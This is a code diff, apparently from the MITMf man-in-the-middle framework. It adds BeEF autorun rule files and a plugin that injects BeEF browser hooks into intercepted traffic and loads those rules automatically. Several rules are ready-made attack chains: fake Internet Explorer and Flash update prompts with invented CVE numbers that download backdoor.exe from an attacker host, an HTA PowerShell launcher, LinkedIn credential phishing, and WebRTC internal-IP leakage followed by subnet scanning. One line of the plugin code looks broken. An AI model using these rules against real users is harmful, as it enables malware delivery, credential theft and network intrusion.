diff --git a/config/beef_arerules/c_osx_test-return-mods.json b/config/beef_arerules/c_osx_test-return-mods.json new file mode 100644 index 0000000..684d05c --- /dev/null +++ b/config/beef_arerules/c_osx_test-return-mods.json @@ -0,0 +1,35 @@ +{ + "name": "Test return debug stuff", + "author": "antisnatchor", + "browser": "S", + "browser_version": ">= 7", + "os": "OSX", + "os_version": "<= 10.10", + "modules": [{ + "name": "test_return_ascii_chars", + "condition": null, + "options": {} + }, { + "name": "test_return_long_string", + "condition": "status==1", + "code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';", + "options": { + "repeat": "10", + "repeat_string": "<>" + } + }, + { + "name": "alert_dialog", + "condition": "status=1", + "code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';", + "options":{"text":"<>"} + }, + { + "name": "get_page_html", + "condition": null, + "options": {} + }], + "execution_order": [0, 1, 2, 3], + "execution_delay": [0, 0, 0, 0], + "chain_mode": "nested-forward" +} \ No newline at end of file diff --git a/config/beef_arerules/enabled/.gitignore b/config/beef_arerules/enabled/.gitignore new file mode 100644 index 0000000..514e47a --- /dev/null +++ b/config/beef_arerules/enabled/.gitignore @@ -0,0 +1,3 @@ +* +!.gitignore +!README diff --git a/config/beef_arerules/enabled/README b/config/beef_arerules/enabled/README new file mode 100644 index 0000000..4204c48 --- /dev/null +++ b/config/beef_arerules/enabled/README @@ -0,0 +1,2 @@ +Move here the ARE rule files that you want to load into BeEF. +Make sure they are .json files (any other file extension is ignored). \ No newline at end of file diff --git a/config/beef_arerules/ff_osx_extension-dropper.json b/config/beef_arerules/ff_osx_extension-dropper.json new file mode 100644 index 0000000..2f4bb35 --- /dev/null +++ b/config/beef_arerules/ff_osx_extension-dropper.json @@ -0,0 +1,20 @@ +{ + "name": "Firefox Extension Dropper", + "author": "antisnatchor", + "browser": "FF", + "browser_version": "ALL", + "os": "OSX", + "os_version": ">= 10.8", + "modules": [{ + "name": "firefox_extension_dropper", + "condition": null, + "options": { + "extension_name": "Ummeneske", + "xpi_name": "Ummeneske", + "base_host": "http://172.16.45.1:3000" + } + }], + "execution_order": [0], + "execution_delay": [0], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/config/beef_arerules/ff_tux_webrtc-internalip.json b/config/beef_arerules/ff_tux_webrtc-internalip.json new file mode 100644 index 0000000..d429f03 --- /dev/null +++ b/config/beef_arerules/ff_tux_webrtc-internalip.json @@ -0,0 +1,28 @@ +{"name": "Get Internal IP (WebRTC)", + "author": "antisnatchor", + "browser": "FF", + "browser_version": ">= 31", + "os": "Linux", + "os_version": "ALL", + "modules": [ + {"name": "get_internal_ip_webrtc", + "condition": null, + "code": null, + "options": {} + }, + {"name": "internal_network_fingerprinting", + "condition": "status==1", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start=parseInt(s[3])-1;var end=parseInt(s[3])+1;var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;", + "options": { + "ipRange":"<>", + "ports":"80", + "threads":"5", + "wait":"2", + "timeout":"10" + } + } + ], + "execution_order": [0,1], + "execution_delay": [0, 0], + "chain_mode": "nested-forward" +} \ No newline at end of file diff --git a/config/beef_arerules/ie_win_fakenotification-clippy.json b/config/beef_arerules/ie_win_fakenotification-clippy.json new file mode 100644 index 0000000..bac6e44 --- /dev/null +++ b/config/beef_arerules/ie_win_fakenotification-clippy.json @@ -0,0 +1,31 @@ +{ + "name": "Ie Fake Notification + Clippy", + "author": "antisnatchor", + "browser": "IE", + "browser_version": "== 11", + "os": "Windows", + "os_version": ">= 7", + "modules": [ + { + "name": "fake_notification_ie", + "condition": null, + "options": { + "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it." + } + } + ,{ + "name": "clippy", + "condition": null, + "options": { + "clippydir": "http://172.16.45.1:3000/clippy/", + "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?", + "executeyes": "http://172.16.45.1:3000/updates/backdoor.exe", + "respawntime":"5000", + "thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!" + } + } + ], + "execution_order": [0,1], + "execution_delay": [0,2000], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/config/beef_arerules/ie_win_htapowershell.json b/config/beef_arerules/ie_win_htapowershell.json new file mode 100644 index 0000000..40e677b --- /dev/null +++ b/config/beef_arerules/ie_win_htapowershell.json @@ -0,0 +1,27 @@ +{ + "name": "HTA PowerShell", + "author": "antisnatchor", + "browser": "IE", + "browser_version": "ALL", + "os": "Windows", + "os_version": ">= 7", + "modules": [ + { + "name": "fake_notification_ie", + "condition": null, + "options": { + "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:" + } + }, + { + "name": "hta_powershell", + "condition": null, + "options": { + "domain":"http://172.16.45.1:3000", + "ps_url":"/ps" + } + }], + "execution_order": [0,1], + "execution_delay": [0,500], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/config/beef_arerules/ie_win_missingflash-prettytheft.json b/config/beef_arerules/ie_win_missingflash-prettytheft.json new file mode 100644 index 0000000..e7620f6 --- /dev/null +++ b/config/beef_arerules/ie_win_missingflash-prettytheft.json @@ -0,0 +1,27 @@ +{ + "name": "Fake missing plugin + Pretty Theft LinkedIn", + "author": "antisnatchor", + "browser": "IE", + "browser_version": ">= 8", + "os": "Windows", + "os_version": "== XP", + "modules": [{ + "name": "fake_notification_c", + "condition": null, + "options": { + "url": "http://172.16.45.1:3000/updates/backdoor.exe", + "notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. " + } + }, { + "name": "pretty_theft", + "condition": null, + "options": { + "choice": "Windows", + "backing": "Grey", + "imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png" + } + }], + "execution_order": [0, 1], + "execution_delay": [0, 5000], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/config/beef_arerules/ie_win_test-return-mods.json b/config/beef_arerules/ie_win_test-return-mods.json new file mode 100644 index 0000000..657bb20 --- /dev/null +++ b/config/beef_arerules/ie_win_test-return-mods.json @@ -0,0 +1,35 @@ +{ + "name": "Test return debug stuff", + "author": "antisnatchor", + "browser": "IE", + "browser_version": "<= 8", + "os": "Windows", + "os_version": ">= XP", + "modules": [{ + "name": "test_return_ascii_chars", + "condition": null, + "options": {} + }, { + "name": "test_return_long_string", + "condition": "status==1", + "code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';", + "options": { + "repeat": "10", + "repeat_string": "<>" + } + }, + { + "name": "alert_dialog", + "condition": "status=1", + "code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';", + "options":{"text":"<>"} + }, + { + "name": "get_page_html", + "condition": null, + "options": {} + }], + "execution_order": [0, 1, 2, 3], + "execution_delay": [0, 0, 0, 0], + "chain_mode": "nested-forward" +} \ No newline at end of file diff --git a/config/mitmf.conf b/config/mitmf.conf index 9e75143..09f9e58 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -6,8 +6,8 @@ # Required BeEF and Metasploit options [[BeEF]] - beefip = 127.0.0.1 - beefport = 3000 + host = 127.0.0.1 + port = 3000 user = beef pass = beef @@ -187,39 +187,6 @@ #Set your custom PAC script WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' -[BeEFAutorun] - #Example config for the BeefAutorun plugin - - mode = oneshot - #can be set to loop, or oneshot - - #in loop mode the plugin will run modules on all hooked browsers every 10 seconds - #in oneshot mode the plugin will run modules only once per hooked browser - - [[ALL]] #Runs specified modules on all hooked browsers - - 'Man-In-The-Browser'= '{}' - - [[targets]] #Runs specified modules based on OS and Browser type - - [[[Windows]]] #Target all Windows versions using Firefox and Internet Explorer - - [[[[FF]]]] - 'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}' - - [[[[IE]]]] - 'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}' - - [[[Windows 7]]] #Target only Windows 7 using Chrome - - [[[[C]]]] - 'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}' - - [[[Linux]]] #Target Linux platforms using Chrome - - [[[[C]]]] - 'Redirect Browser (Rickroll)' = '{}' - [AppCachePoison] # HTML5 AppCache poisioning attack # see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html for description of the attack. diff --git a/core/beefapi.py b/core/beefapi.py index b020153..ff4210a 100644 --- a/core/beefapi.py +++ b/core/beefapi.py @@ -22,292 +22,340 @@ import requests import json -import logging from UserList import UserList -logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message - class BeefAPI: - def __init__(self, opts=[]): - self.host = opts.get('host') or "127.0.0.1" - self.port = opts.get('port') or "3000" - self.token = None - self.url = "http://{}:{}/api/".format(self.host, self.port) - self.login_url = self.url + "admin/login" + def __init__(self, opts=[]): + self.host = opts.get('host') or "127.0.0.1" + self.port = opts.get('port') or "3000" + self.token = None + self.url = "http://{}:{}/api/".format(self.host, self.port) + self.login_url = self.url + "admin/login" - def login(self, username, password): - try: - auth = json.dumps({"username": username, "password": password}) - r = requests.post(self.login_url, data=auth) - data = r.json() + def login(self, username, password): + try: + auth = json.dumps({"username": username, "password": password}) + r = requests.post(self.login_url, data=auth) + data = r.json() - if (r.status_code == 200) and (data["success"]): - self.token = data["token"] #Auth token - - self.hooks_url = "{}hooks?token={}".format(self.url, self.token) - self.modules_url = "{}modules?token={}".format(self.url, self.token) - self.logs_url = "{}logs?token={}".format(self.url, self.token) - self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token) - - return True - elif r.status_code != 200: - return False + if (r.status_code == 200) and (data["success"]): + self.token = data["token"] #Auth token - except Exception as e: - print "[BeEF-API] Error logging in to BeEF: {}".format(e) + self.hooks_url = "{}hooks?token={}".format(self.url, self.token) + self.modules_url = "{}modules?token={}".format(self.url, self.token) + self.logs_url = "{}logs?token={}".format(self.url, self.token) + self.are_url = "{}autorun/rule/".format(self.url) + self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token) - @property - def hooked_browsers(self): - r = requests.get(self.hooks_url) - return Hooked_Browsers(r.json(), self.url, self.token) + return True + elif r.status_code != 200: + return False - @property - def dns(self): - r = requests.get(self.dns_url) - return DNS(r.json(), self.url, self.token) + except Exception as e: + print "[BeEF-API] Error logging in to BeEF: {}".format(e) - @property - def logs(self): - logs = [] - r = requests.get(self.logs_url) - for log in r.json()['logs']: - logs.append(Log(log)) - return logs + @property + def hooked_browsers(self): + r = requests.get(self.hooks_url) + return Hooked_Browsers(r.json(), self.url, self.token) - @property - def modules(self): - modules = ModuleList([]) - r = requests.get(self.modules_url) - for k,v in r.json().iteritems(): - modules.append(Module(v, self.url, self.token)) - return modules + @property + def dns(self): + r = requests.get(self.dns_url) + return DNS(r.json(), self.url, self.token) + + @property + def logs(self): + logs = [] + r = requests.get(self.logs_url) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs + + @property + def modules(self): + modules = ModuleList([]) + r = requests.get(self.modules_url) + for k,v in r.json().iteritems(): + modules.append(Module(v, self.url, self.token)) + return modules + + @property + def are_rules(self): + return ARE_Rules(self.are_url, self.token) class ModuleList(UserList): - def __init__(self, mlist): - self.data = mlist + def __init__(self, mlist): + self.data = mlist - def findbyid(self, m_id): - for m in self.data: - if m_id == m.id: - return m + def findbyid(self, m_id): + for m in self.data: + if m_id == m.id: + return m - def findbyname(self, m_name): - pmodules = ModuleList([]) - for m in self.data: - if (m.name.lower().find(m_name.lower()) != -1) : - pmodules.append(m) - return pmodules + def findbyname(self, m_name): + pmodules = ModuleList([]) + for m in self.data: + if (m.name.lower().find(m_name.lower()) != -1) : + pmodules.append(m) + return pmodules class SessionList(UserList): - def __init__(self, slist): - self.data = slist + def __init__(self, slist): + self.data = slist - def findbysession(self, session): - for s in self.data: - if s.session == session: - return s + def findbysession(self, session): + for s in self.data: + if s.session == session: + return s - def findbyos(self, os): - res = SessionList([]) - for s in self.data: - if (s.os.lower().find(os.lower()) != -1): - res.append(s) - return res + def findbyos(self, os): + res = SessionList([]) + for s in self.data: + if (s.os.lower().find(os.lower()) != -1): + res.append(s) + return res - def findbyip(self, ip): - res = SessionList([]) - for s in self.data: - if ip == s.ip: - res.append(s) - return res + def findbyip(self, ip): + res = SessionList([]) + for s in self.data: + if ip == s.ip: + res.append(s) + return res - def findbyid(self, s_id): - for s in self.data: - if s.id == s_id: - return s + def findbyid(self, s_id): + for s in self.data: + if s.id == s_id: + return s - def findbybrowser(self, browser): - res = SessionList([]) - for s in self.data: - if browser == s.name: - res.append(s) - return res + def findbybrowser(self, browser): + res = SessionList([]) + for s in self.data: + if browser == s.name: + res.append(s) + return res - def findbybrowser_v(self, browser_v): - res = SessionList([]) - for s in self.data: - if browser_v == s.version: - res.append(s) - return res + def findbybrowser_v(self, browser_v): + res = SessionList([]) + for s in self.data: + if browser_v == s.version: + res.append(s) + return res - def findbypageuri(self, uri): - res = SessionList([]) - for s in self.data: - if uri in s.page_uri: - res.append(s) - return res + def findbypageuri(self, uri): + res = SessionList([]) + for s in self.data: + if uri in s.page_uri: + res.append(s) + return res - def findbydomain(self, domain): - res = SessionList([]) - for s in self.data: - if domain in s.domain: - res.append(s) - return res + def findbydomain(self, domain): + res = SessionList([]) + for s in self.data: + if domain in s.domain: + res.append(s) + return res + +class ARE_Rule(object): + + def __init__(self, data, url, token): + self.url = url + self.token = token + + for k,v in data.iteritems(): + setattr(self, k, v) + + self.modules = json.loads(self.modules) + + def trigger(self): + r = requests.get('{}/trigger/{}?token={}'.format(self.url, self.id, self.token)) + return r.json() + + def delete(self): + r = requests.get('{}/delete/{}?token={}'.format(self.url, self.id, self.token)) + return r.json() + +class ARE_Rules(object): + + def __init__(self, url, token): + self.url = url + self.token = token + + def list(self): + rules = [] + r = requests.get('{}/list/all?token={}'.format(self.url, self.token)) + data = r.json() + if (r.status_code == 200) and (data['success']): + for rule in data['rules']: + rules.append(ARE_Rule(rule, self.url, self.token)) + + return rules + + def add(self, rule_path): + if rule_path.endswith('.json'): + headers = {'Content-Type': 'application/json; charset=UTF-8'} + with open(rule_path, 'r') as rule: + payload = rule.read() + r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers) + return r.text #currently the returned object can't be serialized to JSON + + def trigger(self, rule_id): + r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token)) + return r.json() + + def delete(self, rule_id): + r = requests.get('{}/delete/{}?token={}'.format(self.url, rule_id, self.token)) + return r.json() class Module(object): - def __init__(self, data, url, token): - self.url = url - self.token = token + def __init__(self, data, url, token): + self.url = url + self.token = token - self.id = data['id'] - self.name = data['name'] - self.category = data['category'] + for k,v in data.iteritems(): + setattr(self, k, v) - @property - def options(self): - r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() - return r['options'] + @property + def options(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['options'] - @property - def description(self): - r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() - return r['description'] + @property + def description(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['description'] - def run(self, session, options={}): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps(options) - r = requests.post("{}/modules/{}/{}?token={}".format(self.url, session, self.id, self.token), headers=headers, data=payload) - return r.json() + def run(self, session, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, session, self.id, self.token), headers=headers, data=payload) + return r.json() - def multi_run(self, options={}, hb_ids=[]): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps({"mod_id":self.id, "mod_params": options, "hb_ids": hb_ids}) - r = requests.post("{}/modules/multi_browser?token={}".format(self.url, self.token), headers=headers, data=payload) - return r.json() + def multi_run(self, options={}, hb_ids=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"mod_id":self.id, "mod_params": options, "hb_ids": hb_ids}) + r = requests.post("{}/modules/multi_browser?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() - def results(self, session, cmd_id): - r = requests.get("{}/modules/{}/{}/{}?token={}".format(self.url, session, self.id, cmd_id, self.token)) - return r.json() + def results(self, session, cmd_id): + r = requests.get("{}/modules/{}/{}/{}?token={}".format(self.url, session, self.id, cmd_id, self.token)) + return r.json() class Log(object): - def __init__(self, log_dict): - self.id = log_dict['id'] - self.date = log_dict['date'] - self.event = log_dict['event'] - self.type = log_dict['type'] + def __init__(self, log_dict): + for k,v in log_dict.iteritems(): + setattr(self, k, v) class DNS_Rule(object): - def __init__(self, rule, url, token): - self.url = url - self.token = token + def __init__(self, rule, url, token): + self.url = url + self.token = token - self.id = rule['id'] - self.pattern = rule['pattern'] - self.type = rule['type'] - self.response = rule=['response'] + for k,v in rule.iteritems(): + setattr(self, k, v) - def delete(self): - r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token)) - return r.json() + def delete(self): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token)) + return r.json() class DNS(object): - def __init__(self, data, url, token): - self.data = data - self.url = url - self.token = token + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token - @property - def ruleset(self): - ruleset = [] - r = requests.get("{}/dns/ruleset?token={}".format(self.url, self.token)) - for rule in r.json()['ruleset']: - ruleset.append(DNS_Rule(rule, self.url, self.token)) - return ruleset + @property + def ruleset(self): + ruleset = [] + r = requests.get("{}/dns/ruleset?token={}".format(self.url, self.token)) + for rule in r.json()['ruleset']: + ruleset.append(DNS_Rule(rule, self.url, self.token)) + return ruleset - def add(self, pattern, resource, response=[]): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps({"pattern": pattern, "resource": resource, "response": response}) - r = requests.post("{}/dns/rule?token={}".format(self.url, self.token), headers=headers, data=payload) - return r.json() + def add(self, pattern, resource, response=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"pattern": pattern, "resource": resource, "response": response}) + r = requests.post("{}/dns/rule?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() - def delete(self, rule_id): - r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, rule_id, self.token)) - return r.json() + def delete(self, rule_id): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, rule_id, self.token)) + return r.json() class Hooked_Browsers(object): - def __init__(self, data, url, token): - self.data = data - self.url = url - self.token = token + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token - @property - def online(self): - sessions = SessionList([]) - for k,v in self.data['hooked-browsers']['online'].iteritems(): - sessions.append(Session(v['session'], self.data, self.url, self.token)) - return sessions + @property + def online(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['online'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions - @property - def offline(self): - sessions = SessionList([]) - for k,v in self.data['hooked-browsers']['offline'].iteritems(): - sessions.append(Session(v['session'], self.data, self.url, self.token)) - return sessions + @property + def offline(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['offline'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions class Session(object): - def __init__(self, session, data, url, token): - self.session = session - self.data = data - self.url = url - self.token = token + def __init__(self, session, data, url, token): + self.session = session + self.data = data + self.url = url + self.token = token - self.domain = self.get_property('domain') - self.id = self.get_property('id') - self.ip = self.get_property('ip') - self.name = self.get_property('name') #Browser name - self.os = self.get_property('os') - self.page_uri = self.get_property('page_uri') - self.platform = self.get_property('platform') #Ex. win32 - self.port = self.get_property('port') - self.version = self.get_property('version') #Browser version + self.domain = self.get_property('domain') + self.id = self.get_property('id') + self.ip = self.get_property('ip') + self.name = self.get_property('name') #Browser name + self.os = self.get_property('os') + self.page_uri = self.get_property('page_uri') + self.platform = self.get_property('platform') #Ex. win32 + self.port = self.get_property('port') + self.version = self.get_property('version') #Browser version - @property - def details(self): - r = requests.get('{}/hooks/{}?token={}'.format(self.url, self.session, self.token)) - return r.json() + @property + def details(self): + r = requests.get('{}/hooks/{}?token={}'.format(self.url, self.session, self.token)) + return r.json() - @property - def logs(self): - logs = [] - r = requests.get('{}/logs/{}?token={}'.format(self.url, self.session, self.token)) - for log in r.json()['logs']: - logs.append(Log(log)) - return logs + @property + def logs(self): + logs = [] + r = requests.get('{}/logs/{}?token={}'.format(self.url, self.session, self.token)) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs - def run(self, module_id, options={}): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps(options) - r = requests.post("{}/modules/{}/{}?token={}".format(self.url, self.session, module_id, self.token), headers=headers, data=payload) - return r.json() + def run(self, module_id, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, self.session, module_id, self.token), headers=headers, data=payload) + return r.json() - def multi_run(self, options={}): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps({"hb": self.session, "modules":[options]}) - r = requests.post("{}/modules/multi_module?token={}".format(self.url, self.token), headers=headers, data=payload) - return r.json() + def multi_run(self, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"hb": self.session, "modules":[options]}) + r = requests.post("{}/modules/multi_module?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() - def get_property(self, key): - for k,v in self.data['hooked-browsers'].iteritems(): - for l,s in v.iteritems(): - if self.session == s['session']: - return s[key] + def get_property(self, key): + for k,v in self.data['hooked-browsers'].iteritems(): + for l,s in v.iteritems(): + if self.session == s['session']: + return s[key] diff --git a/plugins/beefautorun.py b/plugins/beefautorun.py new file mode 100644 index 0000000..177dae1 --- /dev/null +++ b/plugins/beefautorun.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import os + +from plugins.plugin import Plugin +from plugins.inject import Inject +from core.beefapi import BeefAPI +from mitmflib.watchdog.observers import Observer +from mitmflib.watchdog.events import FileSystemEventHandler + +class BeefAutorun(Inject, Plugin): + name = "BeEFAutoloader" + optname = "beefauto" + desc = "Injects BeEF hooks & manages BeEF's ARE rule loading" + version = "0.4" + + def initialize(self, options): + self.options = options + self.ip_address = options.ip + beefconfig = self.config['MITMf']['BeEF'] + + Inject.initialize(self, options) + self.js_url = 'http://{}:{}/hook.js'.format(options.ip , ['port']) + + beefconfig = self.config['MITMf']['BeEF'] + + from core.utils import shutdown + beef = BeefAPI({"host": beefconfig['host'], "port": beefconfig['port']}) + if not beef.login(beefconfig['user'], beefconfig['pass']): + shutdown("[BeEFAutorun] Error logging in to BeEF!") + + self.tree_info.append('Starting RuleWatcher') + RuleWatcher(beef, self.log).start() + + def options(self, options): + pass + +class RuleWatcher(FileSystemEventHandler): + + def __init__(self, beef, logger): + FileSystemEventHandler.__init__(self) + self.beef = beef + self.log = logger + + def on_modified(self, event): + self.log.debug('Detected ARE rule change!') + for rule in self.beef.are_rules.list(): + self.log.debug('Deleting rule id: {} name: {}'.format(rule.id, rule.name)) + rule.delete() + + if event.src_path.endswith('.json'): + self.log.debug('Detected ARE rule modification/addition!') + for rule in os.listdir('./config/beef_arerules/enabled'): + if rule.endswith('.json'): + rule_path = './config/beef_arerules/enabled/' + rule + self.log.debug('Adding rule {}'.format(rule_path)) + self.beef.are_rules.add(rule_path) + + def start(self): + observer = Observer() + observer.schedule(self, path='./config/beef_arerules/enabled', recursive=False) + observer.start() \ No newline at end of file